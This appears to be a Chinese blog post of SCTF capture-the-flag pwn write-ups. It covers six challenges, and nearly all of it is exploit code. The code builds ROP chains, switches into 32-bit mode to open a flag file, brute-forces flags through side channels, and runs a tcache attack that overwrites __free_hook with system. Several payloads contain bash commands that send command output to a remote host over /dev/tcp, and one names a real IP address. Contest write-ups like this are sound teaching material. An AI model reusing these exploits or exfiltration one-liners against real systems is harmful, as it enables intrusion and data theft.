SCTF pwn 方向部分题解

一颗小胡椒2022-01-10 16:31:14

dataleak

用”\或者/都可以跳过2个\x00,但是每次用”\会拷贝4个字节到buf中,导致最后的3字节数据无法泄露,所以用/\配合垃圾数据填充来控制泄露字符串。

exp:

#!python#coding:utf-8
from pwn import *import subprocess, sys, osfrom time import sleep
sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './cJSON_PWN'ip = '124.70.202.226'port = 2101remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'LIBC_VERSION = ''HAS_LD = FalseHAS_DEBUG = False
context(os='linux', arch='amd64')context.log_level = 'debug'
def run(local = 1):    LD_LIBRARY_PATH = './lib/'    LD = LD_LIBRARY_PATH+'ld.so.6'    global elf    global p    if local == 1:        elf = ELF(elf_path, checksec = False)        if LIBC_VERSION:            if HAS_LD:                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})            else:                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})        else:            p = process(elf_path)    else:        p = remote(ip, port)
run(0)payload = ' '*0xc + '"\\'p.send(payload)
payload = 'a'*8 + ' '*4 + '"\\'p.send(payload)part1 = p.recv(11)
payload = 'a'*5 + ' '*7 + '/*'p.send(payload)
payload = ' '*12 + '/*'p.send(payload)part2 = p.recv(11)
complete = part1 + part2sa('data', complete)
p.interactive()

gadget

有栈溢出,但是只能使用调用号为0,5,37的系统调用,5是32位下的open,所以利用思路是先heaven’s gate切换到32位来open flag,再回到64位read flag,最后找一个gadget用来侧信道获取flag。

主要难点在于找gadget,有4个比较重要的gadget。首先是0x40A756用于设置rdx,但需要zf位为1才能正常执行,因此用0x40106D来设置zf。然后是0x40172A用来栈迁移,最后用0x408F72侧信道方式拿到flag。

exp:

from pwn import *
read_addr=0x401170retfq=0x4011ECint80=0x4011F3syscall=0x408865flag=0x40D480pop_rax=0x401001pop_rbp=0x401102pop_rbx_24=0x403072pop_rcx=0x4092D0pop_rdi_8=0x401734pop_rsi_16=0x401732pop_rdx_48=0x40A756flag_addr=0x40D260lea_rsp=0x40172Aset2z=0x40106Dcmpa=0x408F72loop=0x40A765
bit32=p64(0x23)bit64=p32(0x33)
fmap=[ord('_')]fmap+=[i for i in range(ord('a'),ord('z')+1)]fmap+=[i for i in range(ord('0'),ord('9')+1)]fmap+=[i for i in range(ord('A'),ord('Z')+1)]fmap+=[0,ord('@'),ord('-'),ord('{'),ord('}'),ord('?'),ord('!')]f=''c=len(f)if_ok=Falsewhile(not if_ok):    caddr=flag+c    sign=0    for guess in fmap:        #sh=process('./gadget')        sh=remote('121.37.135.138',2102)        payload="a"*0x38+p64(pop_rdi_8)+p64(flag_addr)+p64(0)+p64(read_addr)+p64(set2z)+p64(pop_rdx_48)+p64(0)*7        payload+=p64(pop_rbp)+p64(flag_addr+8-0x28+0x20)+p64(lea_rsp)        #print(hex(len(payload)))        sh.send(payload.ljust(0xc0,'a'))
        payload2="flag\x00\x00\x00\x00"        payload2+=p64(retfq)+p64(pop_rbx_24)+bit32+p32(flag_addr)+p32(0)*3+p32(pop_rcx)+p32(0)+p32(pop_rax)+p32(5)+p32(int80)        payload2+=p32(retfq)+p32(pop_rdi_8)+bit64        payload2+=p64(flag_addr+len(payload2)+24)+p64(0)+p64(read_addr)        #print(hex(len(payload2)))        sh.send(payload2.ljust(0xc0,'\x00'))
        payload3=p64(pop_rdi_8)+p64(3)+p64(0)+p64(pop_rsi_16)+p64(flag)+p64(0)*2+p64(pop_rax)+p64(0)+p64(syscall)        payload3+=p64(pop_rdi_8)+p64(caddr+1)+p64(0)+p64(read_addr)        payload3+=p64(pop_rsi_16)+p64(0)+p64(caddr-0x38)+p64(0)+p64(pop_rax)+p64(guess)+p64(cmpa)        #print(hex(len(payload3)))        sh.send(payload3.ljust(0xc0,'\x00'))
        payload4='\x00'*0xf+p64(0)        sh.send(payload4)        try:            sh.send('ok')            sh.recv(timeout=0.5)            if(not guess):                if_ok=True                sign=1                break            f+=chr(guess)            print(f)            sh.close()            sign=1            break        except:            sh.close()    if(not sign):        f+='#'    c=c+1print(f)sh.interactive()

Christmas_song

难点在于看懂slang语言的语法,主要在源码com目录下parser.y和scanner.l这两个文件中。可知定义变量语法为gift 变量名 is xxx,xxx可以为整数也可以为字符串,其中is等同于运算符‘=’,为字符串时变量实际上是一个堆块地址。调用函数的语法为reindeer 函数名 delivering gift 参数1 参数2 参数3 brings back gift 返回值; ,其中返回值可省略。逆向可知Dancer和Dasher两个函数分别可以打开和读取flag,之后用相当于strncmp的Prancer函数比较读入的flag侧信道获取flag即可。

exp:

from pwn import *import string
code="""gift a is "/home/ctf/flag";gift b is 0;gift c is 0;gift d is 64;gift len is {};gift test is "abcde";gift flag is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";gift guess is "{}";
reindeer Dancer delivering gift a b c brings back gift fd;reindeer Dasher delivering gift fd flag d;reindeer Prancer delivering gift flag guess len brings back gift e;gift f is test+e;reindeer Dancer delivering gift f b c;"""
flag=""if_ok=Falsedic = '_'+string.ascii_letters + string.digits + "}"while(not if_ok):    for x in dic:        sh=remote("124.71.144.133",2144)        flag=flag+x        c=len(flag)        c_code=code.format(c,flag)        sh.sendlineafter("(EOF to finish):",c_code+"EOF")        sh.recvuntil('error')        res=sh.recvline()        #print(res)        if(res[-6:-1]!="abcde"):            flag=flag[:-1]            sh.close()        else:            sh.close()            print(flag)            if(x=='}'):                if_ok=True            break

Christmas_bash

远程爆破出sleep的偏移为0xed850,但搜不到对应的libc,最后才发现版本为2.34。根据sleep算出system,pop rdi和environ的值,用他们来定义变量,再定义一个存储vm_call_lambda返回时rsp的变量stack。然后调用一个不存在的函数,其返回值为一个堆上的地址,调试得到它与之前定义的变量地址的偏移。然后将environ上的栈地址拷贝到stack处,再根据偏移得到vm_call_lambda返回时的rsp。最后把各变量值用memcpy拷贝到rsp处构造出rop链。

code:

code="""gift libcbase is sleep-972880;gift environ is libcbase+2232000;gift stack is sleep-16;gift len is 8;gift cmd is "bash -c '/home/ctf/getflag > /dev/tcp/ip/7777'";gift cmdaddr is cmd+1;
reindeer haha delivering gift len len len brings back gift addr;gift stackaddr is addr+5848;
reindeer Vixen delivering gift stackaddr environ len;gift stack is stack-1184;gift poprdi is libcbase+190149;gift system is libcbase+346848;gift ret is poprdi+1;
gift cmdaddraddr is addr+6104;gift systemaddr is addr+6488;gift poprdiaddr is addr+6456;gift retaddr is addr+6520;
reindeer Vixen delivering gift stack retaddr len;gift stacka is stack+8;
reindeer Vixen delivering gift stacka poprdiaddr len;gift stacka is stacka+8;
reindeer Vixen delivering gift stacka cmdaddraddr len;gift stacka is stacka+8;
reindeer Vixen delivering gift stacka systemaddr len;gift stacka is stacka+8;"""

Christmas_Wishes

\"字符截断parserstring堆长度统计逻辑,然后之后可以拷贝很长的字符串,造成堆溢出,键同名free,tcacheattack

exp:

#!python#coding:utf-8
from pwn import *import subprocess, sys, osfrom time import sleep
def chose(idx):    sla('Chose', str(idx))def add(name = '', value = ''):    global payload    payload += '"{}":"{}",'.format(name, value)def package(content):    if len(content) & 1:        print('eeee')    ans = ''    for i in range(len(content)/2):        ans += '\\u' + content[i*2:i*2+2].encode('hex')    return ans
libc_addr = 0x7fd19f744000loadlibc()libc.address = libc_addr# print(hex(libc.sym['__free_hook']))
shell = 'bash -c \'/This_is_your_gift > /dev/tcp/ip/7777\''# shell = 'nc ip 7777|/bin/bash|nc ip 9999'
global payloadpayload = ''# for i in range(10):#     add('a'*0x18 + str(i), 'a'*0x20)add('a'*0x18 + 'a1', 'a'*0x20)add('a'*0x18 + 'a2', 'a'*0x20)add('a'*0x18 + 'a3', 'a'*0x20)add('a'*0x18 + 'a4', 'a'*0x20)add('a5', shell)add('a'*0x18 + 'a1', 'b'*0x10)add('a'*0x18 + 'a3', 'b'*0x10)add('a'*0x20 + '\\"' + 'a'*0x6 + package(p64(0x31)) + package(p64(libc.sym['__free_hook'])), 'a'*0x20)add(package(p64(libc.sym['system'])), 'a'*0x10)add('a5', 'aa')payload = '{' + payload + '}'print(payload)with open('payload', 'w') as f:    f.write(payload)
payload:{"aaaaaaaaaaaaaaaaaaaaaaaaa1":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa2":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa3":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa4":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","a5":"bash -c '/This_is_your_gift > /dev/tcp/49.232.202.102/7777'","aaaaaaaaaaaaaaaaaaaaaaaaa1":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaa3":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aaaaaa\u3100\u0000\u0000\u0000\u705e\u909f\ud17f\u0000":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","\u50ce\u789f\ud17f\u0000":"aaaaaaaaaaaaaaaa","a5":"aa",}

Checkin_ret2text

自动化写不出,半自动跑,先下载文件,然后151行pause前手动分析完对应参数

exp:

#!python#coding:utf-8
from pwn import *import subprocess, sys, osfrom time import sleepfrom hashlib import sha256import base64
sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './x2.elf'ip = '123.60.82.85'port = 1447remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'LIBC_VERSION = ''HAS_LD = FalseHAS_DEBUG = False
context(os='linux', arch='amd64')context.log_level = 'debug'
def run(local = 1):    LD_LIBRARY_PATH = './lib/'    LD = LD_LIBRARY_PATH+'ld.so.6'    global elf    global p    if local == 1:        elf = ELF(elf_path, checksec = False)        if LIBC_VERSION:            if HAS_LD:                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})            else:                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})        else:            p = process(elf_path)    else:        p = remote(ip, port)def debug(cmdstr=''):    if HAS_DEBUG and LIBC_VERSION:        DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'        cmd='source /opt/patchelf/loadsym.py'        cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so'        cmdstr=cmd+cmdstr    gdb.attach(p, cmdstr)    pause()def loadlibc(filename = remote_libc_path):    global libc    libc = ELF(filename, checksec = False)def one_gadget(filename = remote_libc_path):    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))def str2int(s, info = '', offset = 0):    if type(s) == int:        s = p.recv(s)    ret = u64(s.ljust(8, '\x00')) - offset    success('%s ==> 0x%x'%(info, ret))    return ret
def chose(idx):    sla('Chose', str(idx))def add(idx, size, content = ''):    chose(1)    sla('Index', str(idx))    sla('Size', str(size))    sa('Content', content)def edit(idx, content):    chose(2)    sla('Index', str(idx))    sa('Content', content)def free(idx):    chose(3)    sla('Index', str(idx))def show(idx):    chose(4)    sla('Index', str(idx))def hash_digit(af, hash_hex):    print(af, hash_hex)    ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    for i in ch:        for j in ch:            for k in ch:                for h in ch:                    if sha256(i + j + k + h + af).hexdigest() == hash_hex:                        return i + j + k + hdef get_file(filename):    p.recvuntil('sha256(xxxx + ')    hash = p.recvuntil(')')[:-1]    p.recvuntil('== ')    hash_hex = p.recvuntil('')[:-2]    ans = hash_digit(hash, hash_hex)    print(ans)    sla('give me xxxx:', ans)    base64_e = p.recvuntil('==end==')[:-8]    with open(filename, 'wb') as f:        global elf        elf = base64.b64decode(base64_e)        f.write(elf)def analysis(begin_addr):    begin_addr += 0x18    ranks = []
    def u32(content):        return int(content[::-1].encode('hex'), 16)    def insert(vec):        for i, v in enumerate(ranks):            if vec[0] < v[0]:                ranks.insert(i, vec)                return        ranks.append(vec)    def get_a_string(addr):        ans = ''        while elf[addr] != '\0':            ans += elf[addr]            addr += 1        return ans
    addr = begin_addr    n = ord(elf[addr+1])    addr += 13    for i in range(n):        rk = u32(elf[addr+3: addr+7])        va = u32(elf[addr+9])        if va == 0x88:            if elf[addr+7: addr+9] == '\xf7\xd0':                va = 0xff                addr -= 1        if va == 0x2b:            if elf[addr+7: addr+9] == '\x88\x85':                va = 0                addr -= 3        # print(hex(rk))        addr += 0x10        insert((rk, va))    # for i in ranks:    #     print(hex(i[0]), hex(i[1]))    print(hex(addr))    addr += 0xa    string_addr = addr + u32(elf[addr: addr+4]) + 4    # print(hex(string_addr))    string = get_a_string(string_addr)    # print(string)    ans = ''    for i, v in enumerate(ranks):        ans += chr(ord(string[i])^v[1])    return ans
run(0)get_file('x2.elf')
pause()import datasdata = datas.data.split('')[-2::-1]for i, v in enumerate(data):    tmp = v.split(' ')    if len(tmp) == 1 or len(tmp) == 2:        if tmp[0] == 'EOF':            data[i] = 'a' * int(tmp[1], 16)        else:            data[i] = analysis(int(tmp[0], 16))    else:        data[i] = ['0'] * int(tmp[0])        data[i][int(tmp[1])] = tmp[2]
print(data)
for i in data:    if type(i) == str:        sa(':', i)    else:        p.recvuntil(':')        for j in i:            p.send(j+' ')
backdoor = p64(0x401354) * 10payload = 'a'*datas.offset + backdoorp.sendline(payload)sleep(0.1)p.sendline('cat flag')p.interactive()

分析结果填入datas.py

data = '''8 0 31292dde6DA3E8 0 0C9266 0 0EOF 24'''
offset = 0x0

然后跑就出了

payloadelf
本作品采用《CC 协议》,转载必须注明作者和本文链接
一次有意思的CTF题目
2021-12-12 22:16:19
之后用ida打开这个程序可以观察到这个程序并不会太复杂,简单判断是read函数造成的溢出。当我以为,这题也就这样,几分钟就能拿下时。起初我还以为可能是我方向错了,以为要用泄露libc库,可是没找到合适的泄露函数使用放弃了。##利用 接下来将一起解决这个有意思的,简单的,复杂的rop。在跟踪过程中,前三次次改变是因为setbuf函数,无关。之后rbx寄存器被清空为0。
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target. nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target. NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。
MSF监听设置use?PAYLOAD?name>set?LHOST?192.168.20.128set?LPORT?4444show?options?#查漏补缺exploit
EXOCET 优于 Metasploit 的“Evasive Payloads”模块,因为 EXOCET 在 GCM 模式(Galois/Counter 模式)下使用 AES-256。Metasploit 的 Evasion Payloads 使用易于检测的 RC4 加密。虽然 RC4 可以更快地解密,但 AES-256 很难确定恶意软件的意图。
绿城杯-WriteUp
2021-09-30 06:44:41
Pwnnull解题思路说是null 其实是off by one,基于uaf那题,这里直接试着打2.23,用的libc也是和uaf那题一样的#?ezuaf解题思路远程doublefree泄漏cfree后三位,配合mallochook地址通过libcdatabase确定2.23,然后打og#?
打进内网以后的过程没有继续深入搞,具体原因大家懂的,前期打点,开始的想法是爆破个弱口令的,弱口令爆破一圈没有找到有用的账户
Dump il2cpp 通常有两种方法,一种是用 Il2CppDumper 加载二进制文件直接dump. 另一种是用Zygisk-Il2CppDumper注入目标进程来dump il2cpp.接下来介绍一种我常用的方法。原理Unicorn 是一个CPU模拟框架,Qiling是基于Unicorn的一个系统模拟框架。一个内存扫描工具,这里主要主要用来dump进程的完整内存。准备首先用 mypower 将目标进程dump下来。启动mypoewr后运行以下命令可得到进程的内存镜像。
在最近的CTF比赛中,综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络,并通过msf进行内网渗透,涉及代理搭建,流量转发,端口映射等常见内网渗透技术。
ftp程序,需要使用rxraclhm账号登录,提供了get、put、dir三个功能,分别读文件、上传文件、查看目录。
一颗小胡椒
暂无描述